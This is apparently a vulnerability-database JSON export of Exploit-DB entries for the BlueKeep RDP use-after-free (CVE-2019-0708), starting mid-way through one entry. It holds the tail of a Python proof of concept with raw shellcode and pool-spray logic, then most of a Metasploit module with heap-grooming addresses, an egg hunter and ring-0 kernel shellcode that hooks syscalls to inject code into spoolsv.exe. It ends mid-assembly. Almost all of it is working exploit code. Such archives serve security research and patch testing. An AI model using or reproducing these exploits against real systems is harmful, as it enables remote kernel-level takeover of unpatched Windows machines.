b\"\\x1c\\x61\\xc3\\x52\\x31\\xc0\\x99\\xac\\xc1\\xca\\x0d\\x01\"\r\n    shellcode += b\"\\xc2\\x85\\xc0\\x75\\xf6\\x92\\x5a\\xc3\\x58\\x89\\x44\\x24\"\r\n    shellcode += b\"\\x10\\x58\\x59\\x58\\x5a\\x60\\x52\\x51\\x8b\\x28\\x31\\xc0\"\r\n    shellcode += b\"\\x64\\xa2\\x24\\x00\\x00\\x00\\x99\\xb0\\x40\\x50\\xc1\\xe0\"\r\n    shellcode += b\"\\x06\\x50\\x54\\x52\\x89\\x11\\x51\\x4a\\x52\\xb8\\xea\\x99\"\r\n    shellcode += b\"\\x6e\\x57\\xe8\\x7b\\xff\\xff\\xff\\x85\\xc0\\x75\\x4f\\x58\"\r\n    shellcode += b\"\\x8b\\x38\\xe8\\x00\\x00\\x00\\x00\\x5e\\x83\\xc6\\x55\\xb9\"\r\n    shellcode += b\"\\x00\\x04\\x00\\x00\\xf3\\xa4\\x8b\\x45\\x0c\\x50\\xb8\\x48\"\r\n    shellcode += b\"\\xb8\\x18\\xb8\\xe8\\x56\\xff\\xff\\xff\\x8b\\x40\\x0c\\x8b\"\r\n    shellcode += b\"\\x40\\x14\\x8b\\x00\\x66\\x83\\x78\\x24\\x18\\x75\\xf7\\x8b\"\r\n    shellcode += b\"\\x50\\x28\\x81\\x7a\\x0c\\x33\\x00\\x32\\x00\\x75\\xeb\\x8b\"\r\n    shellcode += b\"\\x58\\x10\\x89\\x5d\\x04\\xb8\\x5e\\x51\\x5e\\x83\\xe8\\x32\"\r\n    shellcode += b\"\\xff\\xff\\xff\\x59\\x89\\x01\\x31\\xc0\\x88\\x45\\x08\\x40\"\r\n    shellcode += b\"\\x64\\xa2\\x24\\x00\\x00\\x00\\x61\\xc3\\x5a\\x58\\x58\\x59\"\r\n    shellcode += b\"\\x51\\x51\\x51\\xe8\\x00\\x00\\x00\\x00\\x83\\x04\\x24\\x09\"\r\n    shellcode += b\"\\x51\\x51\\x52\\xff\\xe0\\x31\\xc0\"\r\n\r\n    shellcode += buf\r\n\r\n    print('shellcode len: %d' % len(shellcode))\r\n\r\n    payload_size = 1600\r\n    payload = b'\\x2c\\xf0\\x4f\\x87' + shellcode\r\n    payload = payload + b'\\x5a' * (payload_size - len(payload))\r\n\r\n\r\n    print('[+] spraying pool')\r\n    pool_spray(s, crypter, payload)\r\n\r\n    fake_obj_size = 168\r\n    call_offset = 108\r\n    fake_obj = b'\\x00'*call_offset + shellcode_address\r\n    fake_obj =  fake_obj + b'\\x00' * (fake_obj_size - len(fake_obj)) \r\n\r\n    time.sleep(.5)\r\n    print('[+] sending free')\r\n    s.sendall(rdp.free_32(crypter))\r\n    time.sleep(.15)\r\n\r\n    print('[+] allocating fake objects')\r\n    while count < times:\r\n        \r\n        count += 1 \r\n        #print('time through %d' % count)\r\n\r\n        try: \r\n\r\n            s.sendall(rdp.write_virtual_channel(crypter, 7, 1005, fake_obj))\r\n\r\n        except ConnectionResetError:\r\n\r\n            s.close()\r\n\r\n    s.close()\r\n\r\n\r\nif __name__== \"__main__\":\r\n    main()",
        "cvss": {
            "score": 10.0,
            "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"
        },
        "sourceHref": "https://www.exploit-db.com/download/47683",
        "vhref": "https://vulners.com/exploitdb/EDB-ID:47683"
    },
    {
        "lastseen": "2019-09-24T15:31:14",
        "bulletinFamily": "exploit",
        "description": "",
        "modified": "2019-09-24T00:00:00",
        "published": "2019-09-24T00:00:00",
        "id": "EDB-ID:47416",
        "href": "https://www.exploit-db.com/exploits/47416",
        "type": "exploitdb",
        "title": "Microsoft Windows - BlueKeep RDP Remote Windows Kernel Use After Free (Metasploit)",
        "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\n#  Exploitation and Caveats from zerosum0x0:\r\n#\r\n#    1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally.\r\n#    2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py)\r\n#    3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120.\r\n#    4. RDP has chunked messages, so we use this to groom.\r\n#       a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120.\r\n#       b. However, on 7+, MS_T120 will not work and you have to use RDPSND.\r\n#           i. RDPSND only works when\r\n#              HKLM\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Winstations\\RDP-Tcp\\fDisableCam = 0\r\n#           ii. This registry key is not a default setting for server 2008 R2.\r\n#              We should use alternate groom channels or at least detect the\r\n#              channel in advance.\r\n#    5. Use chunked grooming to fit new data in the freed channel, account for\r\n#       the allocation header size (like 0x38 I think?). At offset 0x100? is where\r\n#       the \"call [rax]\" gadget will get its pointer from.\r\n#       a. The NonPagedPool (NPP) starts at a fixed address on XP-7\r\n#           i. Hot-swap memory is another problem because, with certain VMWare and\r\n#           Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP\r\n#           start. This can be anywhere from 100 mb to gigabytes of offset\r\n#           before the NPP start.\r\n#       b. Set offset 0x100 to NPPStart+SizeOfGroomInMB\r\n#       c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need\r\n#          [NPPStart+SizeOfGroomInMB+8...payload]... because \"call [rax]\" is an\r\n#          indirect call\r\n#       d. We are limited to 0x400 payloads by channel chunk max size. My\r\n#          current shellcode is a twin shellcode with eggfinders. I spam the\r\n#          kernel payload and user payload, and if user payload is called first it\r\n#          will egghunt for the kernel payload.\r\n#    6. After channel hole is filled and the NPP is spammed up with shellcode,\r\n#       trigger the free by closing the socket.\r\n#\r\n#    TODO:\r\n#    * Detect OS specifics / obtain memory leak to determine NPP start address.\r\n#    * Write the XP/2003 portions grooming MS_T120.\r\n#    * Detect if RDPSND grooming is working or not?\r\n#    * Expand channels besides RDPSND/MS_T120 for grooming.\r\n#        See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/\r\n#\r\n#    https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming\r\n#    MS_T120 on XP... should be same process as the RDPSND\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n\r\n  Rank = ManualRanking\r\n\r\n  USERMODE_EGG = 0xb00dac0fefe31337\r\n  KERNELMODE_EGG = 0xb00dac0fefe42069\r\n\r\n  CHUNK_SIZE = 0x400\r\n  HEADER_SIZE = 0x48\r\n\r\n  include Msf::Exploit::Remote::RDP\r\n  include Msf::Exploit::Remote::CheckScanner\r\n\r\n  def initialize(info = {})\r\n    super(update_info(info,\r\n      'Name'           => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free',\r\n      'Description'    => %q(\r\n        The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,\r\n        allowing a malformed Disconnect Provider Indication message to cause use-after-free.\r\n        With a controllable data/size remote nonpaged pool spray, an indirect call gadget of\r\n        the freed channel is used to achieve arbitrary code execution.\r\n      ),\r\n      'Author' =>\r\n      [\r\n        'Sean Dillon <sean.dillon@risksense.com>',  # @zerosum0x0 - Original exploit\r\n        'Ryan Hanson',                              # @ryHanson - Original exploit\r\n        'OJ Reeves <oj@beyondbinary.io>',           # @TheColonial - Metasploit module\r\n        'Brent Cook <bcook@rapid7.com>',            # @busterbcook - Assembly whisperer\r\n      ],\r\n      'License' => MSF_LICENSE,\r\n      'References' =>\r\n        [\r\n          ['CVE', '2019-0708'],\r\n          ['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'],\r\n        ],\r\n      'DefaultOptions' =>\r\n        {\r\n          'EXITFUNC' => 'thread',\r\n          'WfsDelay' => 5,\r\n          'RDP_CLIENT_NAME' => 'ethdev',\r\n          'CheckScanner' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep'\r\n        },\r\n      'Privileged' => true,\r\n      'Payload' =>\r\n        {\r\n          'Space' => CHUNK_SIZE - HEADER_SIZE,\r\n          'EncoderType' => Msf::Encoder::Type::Raw,\r\n        },\r\n      'Platform' => 'win',\r\n      'Targets' =>\r\n        [\r\n          [\r\n            'Automatic targeting via fingerprinting',\r\n            {\r\n              'Arch' => [ARCH_X64],\r\n              'FingerprintOnly' => true\r\n            },\r\n          ],\r\n          #\r\n          #\r\n          # Windows 2008 R2 requires the following registry change from default:\r\n          #\r\n          # [HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\WinStations\\rdpwd]\r\n          # \"fDisableCam\"=dword:00000000\r\n          #\r\n          [\r\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)',\r\n            {\r\n              'Platform' => 'win',\r\n              'Arch' => [ARCH_X64],\r\n              'GROOMBASE' => 0xfffffa8003800000,\r\n              'GROOMSIZE' => 100\r\n            }\r\n          ],\r\n          [\r\n            # This works with Virtualbox 6\r\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)',\r\n            {\r\n              'Platform' => 'win',\r\n              'Arch' => [ARCH_X64],\r\n              'GROOMBASE' => 0xfffffa8002407000\r\n            }\r\n          ],\r\n          [\r\n            # This address works on VMWare 14\r\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)',\r\n            {\r\n              'Platform' => 'win',\r\n              'Arch' => [ARCH_X64],\r\n              'GROOMBASE' => 0xfffffa8030c00000\r\n            }\r\n          ],\r\n          [\r\n            # This address works on VMWare 15\r\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)',\r\n            {\r\n              'Platform' => 'win',\r\n              'Arch' => [ARCH_X64],\r\n              'GROOMBASE' => 0xfffffa8018C00000\r\n            }\r\n          ],\r\n          [\r\n            # This address works on VMWare 15.1\r\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)',\r\n            {\r\n              'Platform' => 'win',\r\n              'Arch' => [ARCH_X64],\r\n              'GROOMBASE' => 0xfffffa8018c08000\r\n            }\r\n          ],\r\n          [\r\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)',\r\n            {\r\n              'Platform' => 'win',\r\n              'Arch' => [ARCH_X64],\r\n              'GROOMBASE' => 0xfffffa8102407000\r\n            }\r\n          ],\r\n          [\r\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)',\r\n            {\r\n              'Platform' => 'win',\r\n              'Arch' => [ARCH_X64],\r\n              'GROOMBASE' => 0xfffffa8018c08000\r\n            }\r\n          ],\r\n        ],\r\n      'DefaultTarget' => 0,\r\n      'DisclosureDate' => 'May 14 2019',\r\n      'Notes' =>\r\n        {\r\n          'AKA' => ['Bluekeep']\r\n        }\r\n    ))\r\n\r\n    register_advanced_options(\r\n      [\r\n        OptBool.new('ForceExploit', [false, 'Override check result', false]),\r\n        OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]),\r\n        OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]),\r\n        OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]),\r\n      ]\r\n    )\r\n  end\r\n\r\n  def exploit\r\n    unless check == CheckCode::Vulnerable || datastore['ForceExploit']\r\n      fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')\r\n    end\r\n\r\n    if target['FingerprintOnly']\r\n      fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually')\r\n    end\r\n\r\n    begin\r\n      rdp_connect\r\n    rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError\r\n      fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')\r\n    end\r\n\r\n    is_rdp, server_selected_proto = rdp_check_protocol\r\n    unless is_rdp\r\n      fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')\r\n    end\r\n\r\n    # We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us\r\n    # from exploiting the target.\r\n    if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto)\r\n      fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.')\r\n    end\r\n\r\n    chans = [\r\n      ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP],\r\n      [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],\r\n      [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],\r\n      ['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\r\n      ['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\r\n      ['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\r\n      ['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\r\n      ['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\r\n      ['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\r\n      ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\r\n    ]\r\n\r\n    @mst120_chan_id = 1004 + chans.length - 1\r\n\r\n    unless rdp_negotiate_security(chans, server_selected_proto)\r\n      fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.')\r\n    end\r\n\r\n    rdp_establish_session\r\n\r\n    rdp_dispatch_loop\r\n  end\r\n\r\nprivate\r\n\r\n  # This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is\r\n  # received on a channel, and this is when we need to kick off our exploit.\r\n  def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data)\r\n    # We have to do the default behaviour first.\r\n    super(pkt, user, chan_id, flags, data)\r\n\r\n    groom_size = datastore['GROOMSIZE']\r\n    pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size)\r\n    groom_chan_count = datastore['GROOMCHANNELCOUNT']\r\n\r\n    payloads = create_payloads(pool_addr)\r\n\r\n    print_status(\"Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.\")\r\n\r\n    target_channel_id = chan_id + 1\r\n\r\n    spray_buffer = create_exploit_channel_buffer(pool_addr)\r\n    spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF)\r\n    free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80\r\n\r\n    print_status(\"Surfing channels ...\")\r\n    rdp_send(spray_channel * 1024)\r\n    rdp_send(free_trigger)\r\n\r\n    chan_surf_size = 0x421\r\n    spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min\r\n    chan_surf_packet = spray_channel * spray_packets\r\n    chan_surf_count  = chan_surf_size / spray_packets\r\n\r\n    chan_surf_count.times do\r\n      rdp_send(chan_surf_packet)\r\n    end\r\n\r\n    print_status(\"Lobbing eggs ...\")\r\n\r\n    groom_mb = groom_size * 1024 / payloads.length\r\n\r\n    groom_mb.times do\r\n      tpkts = ''\r\n      for c in 0..groom_chan_count\r\n        payloads.each do |p|\r\n          tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF)\r\n        end\r\n      end\r\n      rdp_send(tpkts)\r\n    end\r\n\r\n    # Terminating and disconnecting forces the USE\r\n    print_status(\"Forcing the USE of FREE'd object ...\")\r\n    rdp_terminate\r\n    rdp_disconnect\r\n  end\r\n\r\n  # Helper function to create the kernel mode payload and the usermode payload with\r\n  # the egg hunter prefix.\r\n  def create_payloads(pool_address)\r\n    begin\r\n      [kernel_mode_payload, user_mode_payload].map { |p|\r\n        [\r\n          pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg\r\n          p\r\n        ].pack('<Qa*').ljust(CHUNK_SIZE - HEADER_SIZE, \"\\x00\")\r\n      }\r\n    rescue => ex\r\n      print_error(\"#{ex.backtrace.join(\"\\n\")}: #{ex.message} (#{ex.class})\")\r\n    end\r\n  end\r\n\r\n  def assemble_with_fixups(asm)\r\n    # Rewrite all instructions of form 'lea reg, [rel label]' as relative\r\n    # offsets for the instruction pointer, since metasm's 'ModRM' parser does\r\n    # not grok that syntax.\r\n    lea_rel = /lea+\\s(?<dest>\\w{2,3}),*\\s\\[rel+\\s(?<label>[a-zA-Z_].*)\\]/\r\n    asm.gsub!(lea_rel) do |match|\r\n      match = \"lea #{$1}, [rip + #{$2}]\"\r\n    end\r\n\r\n    # metasm encodes all rep instructions as repnz\r\n    # https://github.com/jjyg/metasm/pull/40\r\n    asm.gsub!(/rep+\\smovsb/, 'db 0xf3, 0xa4')\r\n\r\n    encoded = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encoded\r\n\r\n    # Fixup above rewritten instructions with the relative label offsets\r\n    encoded.reloc.each do |offset, reloc|\r\n      target = reloc.target.to_s\r\n      if encoded.export.key?(target)\r\n        # Note: this assumes the address we're fixing up is at the end of the\r\n        # instruction. This holds for 'lea' but if there are other fixups\r\n        # later, this might need to change to account for specific instruction\r\n        # encodings\r\n        if reloc.type == :i32\r\n          instr_offset = offset + 4\r\n        elsif reloc.type == :i16\r\n          instr_offset = offset + 2\r\n        end\r\n        encoded.fixup(target => encoded.export[target] - instr_offset)\r\n      else\r\n        raise \"Unknown symbol '#{target}' while resolving relative offsets\"\r\n      end\r\n    end\r\n    encoded.fill\r\n    encoded.data\r\n  end\r\n\r\n  # The user mode payload has two parts. The first is an egg hunter that searches for\r\n  # the kernel mode payload. The second part is the actual payload that's invoked in\r\n  # user land (ie. it's injected into spoolsrv.exe). We need to spray both the kernel\r\n  # and user mode payloads around the heap in different packets because we don't have\r\n  # enough space to put them both in the same chunk. Given that code exec can result in\r\n  # landing on the user land payload, the egg is used to go to a kernel payload.\r\n  def user_mode_payload\r\n\r\n    asm = %Q^\r\n_start:\r\n    lea rcx, [rel _start]\r\n    mov r8, 0x#{KERNELMODE_EGG.to_s(16)}\r\n_egg_loop:\r\n    sub rcx, 0x#{CHUNK_SIZE.to_s(16)}\r\n    sub rax, 0x#{CHUNK_SIZE.to_s(16)}\r\n    mov rdx, [rcx - 8]\r\n    cmp rdx, r8\r\n    jnz _egg_loop\r\n    jmp rcx\r\n    ^\r\n    egg_loop = assemble_with_fixups(asm)\r\n\r\n    # The USERMODE_EGG is required at the start as well, because the exploit code\r\n    # assumes the tag is there, and jumps over it to find the shellcode.\r\n    [\r\n      USERMODE_EGG,\r\n      egg_loop,\r\n      USERMODE_EGG,\r\n      payload.raw\r\n    ].pack('<Qa*<Qa*')\r\n  end\r\n\r\n  def kernel_mode_payload\r\n\r\n    # Windows x64 kernel shellcode from ring 0 to ring 3 by sleepya\r\n    #\r\n    # This shellcode was written originally for eternalblue exploits\r\n    # eternalblue_exploit7.py and eternalblue_exploit8.py\r\n    #\r\n    # Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)\r\n    #\r\n    # Note:\r\n    # - The userland shellcode is run in a new thread of system process.\r\n    #     If userland shellcode causes any exception, the system process get killed.\r\n    # - On idle target with multiple core processors, the hijacked system call\r\n    #     might take a while (> 5 minutes) to get called because the system\r\n    #     call may be called on other processors.\r\n    # - The shellcode does not allocate shadow stack if possible for minimal shellcode size.\r\n    #     This is ok because some Windows functions do not require a shadow stack.\r\n    # - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.\r\n    #     Note: the Windows 8 version macros are removed below\r\n    # - The userland payload MUST be appened to this shellcode.\r\n    #\r\n    # References:\r\n    # - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)\r\n    # - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c\r\n\r\n    data_kapc_offset           = 0x10\r\n    data_nt_kernel_addr_offset = 0x8\r\n    data_origin_syscall_offset = 0\r\n    data_peb_addr_offset       = -0x10\r\n    data_queueing_kapc_offset  = -0x8\r\n    hal_heap_storage           = 0xffffffffffd04100\r\n\r\n    # These hashes are not the same as the ones used by the\r\n    # Block API so they have to be hard-coded.\r\n    createthread_hash              = 0x835e515e\r\n    keinitializeapc_hash           = 0x6d195cc4\r\n    keinsertqueueapc_hash          = 0xafcc4634\r\n    psgetcurrentprocess_hash       = 0xdbf47c78\r\n    psgetprocessid_hash            = 0x170114e1\r\n    psgetprocessimagefilename_hash = 0x77645f3f\r\n    psgetprocesspeb_hash           = 0xb818b848\r\n    psgetthreadteb_hash            = 0xcef84c3e\r\n    spoolsv_exe_hash               = 0x3ee083d8\r\n    zwallocatevirtualmemory_hash   = 0x576e99ea\r\n\r\n    asm = %Q^\r\nshellcode_start:\r\n    nop\r\n    nop\r\n    nop\r\n    nop\r\n    ; IRQL is DISPATCH_LEVEL when got code execution\r\n\r\n    push rbp\r\n\r\n    call set_rbp_data_address_fn\r\n\r\n    ; read current syscall\r\n    mov ecx, 0xc0000082\r\n    rdmsr\r\n    ; do NOT replace saved original syscall address with hook syscall\r\n    lea r9, [rel syscall_hook]\r\n    cmp eax, r9d\r\n    je _setup_syscall_hook_done\r\n\r\n    ; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize\r\n    cmp dword [rbp+#{data_origin_syscall_offset}], eax\r\n    je _hook_syscall\r\n\r\n    ; save original syscall\r\n    mov dword [rbp+#{data_origin_syscall_offset}+4], edx\r\n    mov dword [rbp+#{data_origin_syscall_offset}], eax\r\n\r\n    ; first time on the target\r\n    mov byte [rbp+#{data_queueing_kapc_offset}], 0\r\n\r\n_hook_syscall:\r\n    ; set a new syscall on running processor\r\n    ; setting MSR 0xc0000082 affects only running processor\r\n    xchg r9, rax\r\n    push rax\r\n    pop rdx     ; mov rdx, rax\r\n    shr rdx, 32\r\n    wrmsr\r\n\r\n_setup_syscall_hook_done:\r\n    pop rbp\r\n\r\n;--------------------- HACK crappy thread cleanup --------------------\r\n; This code is effectively the same as the epilogue of the function that calls\r\n; the vulnerable function in the kernel, with a tweak or two.\r\n\r\n    ; TODO: make the lock not suck!!\r\n    mov     rax, qword [gs:0x188]\r\n    add     word [rax+0x1C4], 1       ; KeGetCurrentThread()->KernelApcDisable++\r\n    lea     r11, [rsp+0b8h]\r\n    xor     eax, eax\r\n    mov     rbx, [r11+30h]\r\n    mov     rbp, [r11+40h]\r\n    mov     rsi, [r11+48h]\r\n    mov     rsp, r11\r\n    pop     r15\r\n    pop     r14\r\n    pop     r13\r\n    pop     r12\r\n    pop     rdi\r\n    ret\r\n\r\n;--------------------- END HACK crappy thread cleanup\r\n\r\n;========================================================================\r\n; Find memory address in HAL heap for using as data area\r\n; Return: rbp = data address\r\n;========================================================================\r\nset_rbp_data_address_fn:\r\n    ; On idle target without user application, syscall on hijacked processor might not be called immediately.\r\n    ; Find some address to store the data, the data in this address MUST not be modified\r\n    ;   when exploit is rerun before syscall is called\r\n    ;lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000]\r\n\r\n    ; ------ HACK rbp wasnt valid!\r\n\r\n    mov rbp, #{hal_heap_storage}    ; TODO: use some other buffer besides HAL heap??\r\n\r\n    ; --------- HACK end rbp\r\n\r\n_set_rbp_data_address_fn_next:\r\n    ;shr rbp, 12\r\n    ;shl rbp, 12\r\n    ;sub rbp, 0x70   ; for KAPC struct too\r\n    ret\r\n\r\n    ;int 3\r\n    ;call $+5\r\n    ;pop r13\r\nsyscall_hook:\r\n    swapgs\r\n    mov qword [gs:0x10], rsp\r\n    mov rsp, qword [gs:0x1a8]\r\n    push 0x2b\r\n    push qword [gs:0x10]\r\n\r\n    push rax    ; want this stack space to store original syscall addr\r\n    ; save rax first to make this function continue to real syscall\r\n    push rax\r\n    push rbp    ; save rbp here because rbp is special register for accessing this shellcode data\r\n    call set_rbp_data_address_fn\r\n    mov rax, [rbp+#{data_origin_syscall_offset}]\r\n    add rax, 0x1f   ; adjust syscall entry, so we do not need to reverse start of syscall handler\r\n    mov [rsp+0x10], rax\r\n\r\n    ; save all volatile registers\r\n    push rcx\r\n    push rdx\r\n    push r8\r\n    push r9\r\n    push r10\r\n    push r11\r\n\r\n    ; use lock cmpxchg for queueing APC only one at a time\r\n    xor eax, eax\r\n    mov dl, 1\r\n    lock cmpxchg byte [rbp+#{data_queueing_kapc_offset}], dl\r\n    jnz _syscall_hook_done\r\n\r\n    ;======================================\r\n    ; restore syscall\r\n    ;======================================\r\n    ; an error after restoring syscall should never occur\r\n    mov ecx, 0xc0000082\r\n    mov eax, [rbp+#{data_origin_syscall_offset}]\r\n    mov edx, [rbp+#{data_origin_syscall_offset}+4]\r\n    wrmsr\r\n\r\n    ; allow interrupts while executing shellcode\r\n    sti\r\n    call r3_to_r0_start\r\n    cli\r\n\r\n_syscall_hook_done:\r\n    pop r11\r\n    pop r10\r\n    pop r9\r\n    pop r8\r\n    pop rdx\r\n    pop rcx\r\n    pop rbp\r\n    pop rax\r\n    ret\r\n\r\nr3_to_r0_start:\r\n    ; save used non-volatile registers\r\n    push r15\r\n    push r14\r\n    push rdi\r\n    push rsi\r\n    push rbx\r\n    push rax    ; align stack by 0x10\r\n\r\n    ;======================================\r\n    ; find nt kernel address\r\n    ;======================================\r\n    mov r15, qword [rbp+#{data_origin_syscall_offset}]      ; KiSystemCall64 is an address in nt kernel\r\n    shr r15, 0xc                ; strip to page size\r\n    shl r15, 0xc\r\n\r\n_x64_find_nt_walk_page:\r\n    sub r15, 0x1000             ; walk along page size\r\n    cmp word [r15], 0x5a4d      ; 'MZ' header\r\n    jne _x64_find_nt_walk_page\r\n\r\n    ; save nt address for using in KernelApcRoutine\r\n    mov [rbp+#{data_nt_kernel_addr_offset}], r15\r\n\r\n    ;======================================\r\n    ; get current EPROCESS and ETHREAD\r\n    ;======================================\r\n    mov r14, qword [gs:0x188]    ; get _ETHREAD pointer from KPCR\r\n    mov edi, #{psgetcurrentprocess_hash}\r\n    call win_api_direct\r\n    xchg rcx, rax       ; rcx = EPROCESS\r\n\r\n    ; r15 : nt kernel address\r\n    ; r14 : ETHREAD\r\n    ; rcx : EPROCESS\r\n\r\n    ;======================================\r\n    ; find offset of EPROCESS.ImageFilename\r\n    ;======================================\r\n    mov edi, #{psgetprocessimagefilename_hash}\r\n    call get_proc_addr\r\n    mov eax, dword [rax+3]  ; get offset from code (offset of ImageFilename is always > 0x7f)\r\n    mov ebx, eax        ; ebx = offset of EPROCESS.ImageFilename\r\n\r\n\r\n    ;======================================\r\n    ; find offset of EPROCESS.ThreadListHead\r\n    ;======================================\r\n    ; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+)\r\n    ; if offset of ImageFilename is more than 0x400, current is (Win8+)\r\n\r\n    cmp eax, 0x400      ; eax is still an offset of EPROCESS.ImageFilename\r\n    jb _find_eprocess_threadlist_offset_win7\r\n    add eax, 0x10\r\n_find_eprocess_threadlist_offset_win7:\r\n    lea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead\r\n\r\n    ;======================================\r\n    ; find offset of ETHREAD.ThreadListEntry\r\n    ;======================================\r\n\r\n    lea r8, [rcx+rdx]   ; r8 = address of EPROCESS.ThreadListHead\r\n    mov r9, r8\r\n\r\n    ; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700\r\n_find_ethread_threadlist_offset_loop:\r\n    mov r9, qword [r9]\r\n\r\n    cmp r8, r9          ; check end of list\r\n    je _insert_queue_apc_done    ; not found !!!\r\n\r\n    ; if (r9 - r14 < 0x700) found\r\n    mov rax, r9\r\n    sub rax, r14\r\n    cmp rax, 0x700\r\n    ja _find_ethread_threadlist_offset_loop\r\n    sub r14, r9         ; r14 = -(offset of ETHREAD.ThreadListEntry)\r\n\r\n\r\n    ;======================================\r\n    ; find offset of EPROCESS.ActiveProcessLinks\r\n    ;======================================\r\n    mov edi, #{psgetprocessid_hash}\r\n    call get_proc_addr\r\n    mov edi, dword [rax+3]  ; get offset from code (offset of UniqueProcessId is always > 0x7f)\r\n    add edi, 8      ; edi = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)\r\n\r\n\r\n    ;======================================\r\n    ; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock\r\n    ;======================================\r\n    ; check process name\r\n\r\n\r\n    xor eax, eax      ; HACK to exit earlier if process not found\r\n\r\n_find_target_process_loop:\r\n    lea rsi, [rcx+rbx]\r\n\r\n    push rax\r\n    call calc_hash\r\n    cmp eax, #{spoolsv_exe_hash}  ; 